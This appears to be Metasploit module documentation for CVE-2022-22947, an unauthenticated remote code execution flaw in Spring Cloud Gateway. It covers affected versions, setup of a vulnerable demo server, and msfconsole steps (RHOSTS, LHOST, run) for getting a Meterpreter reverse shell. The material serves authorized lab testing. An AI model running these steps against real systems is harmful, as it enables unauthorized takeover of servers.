List of CVEs: CVE-2022-22947

This module exploits an unauthenticated remote code execution vulnerability in Spring Cloud Gateway versions = 3.1.0 and 3.0.0 to 3.0.6. The vulnerability can be exploited when the Gateway Actuator endpoint is enabled, exposed and unsecured. An unauthenticated attacker can use SpEL expressions to execute code and take control of the victim machine.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Knowledge Base


Vulnerable Application


The vulnerability exploits CVE-2022-22947 an unauthenticated RCE vulnerability in Spring Cloud Gateway. According to VMware the versions affected are:

  • 3.1.0
  • 3.0.0 to 3.0.6
  • Older, unsupported versions are also affected

A sample demo project is available, which can be used to run a vulnerable server by following the installation instructions below.

Installation Instructions

    # To use the pre-compile vulnerable application
    wget https://github.com/wdahlenburg/spring-gateway-demo/releases/download/v.0.0.1/spring-gateway-demo-0.0.1-SNAPSHOT.jar
    sudo apt install default-jdk
    java -jar spring-gateway-demo-0.0.1-SNAPSHOT.jar # This will host the app on port 9000


    # If you want to compile for a version of spring cloud gateway on your own
    git clone https://github.com/wdahlenburg/spring-gateway-demo.git

    # In pom.xml, change the version in '<spring-cloud.version>2021.0.1-SNAPSHOT</spring-cloud.version>'. 
    # To see which spring cloud version includes which version of spring cloud gateway, 
    # look here : https://repo1.maven.org/maven2/org/springframework/cloud/spring-cloud-dependencies/

    apt install maven
    mvn package -DskipTests
    java -jar target/spring-gateway-demo-0.0.1-SNAPSHOT.jar # This will host the app on port 9000

Verification Steps


  • Run the vulnerable server
  • Start msfconsole
  • Do: use exploit/linux/http/spring_cloud_gateway_rce
  • Do: set RHOSTS <server_ip>
  • Do: set LHOST <metasploit_machine_ip>
  • Do: set RPORT 9000
  • Do: run
  • You should get a Meterpreter shell.
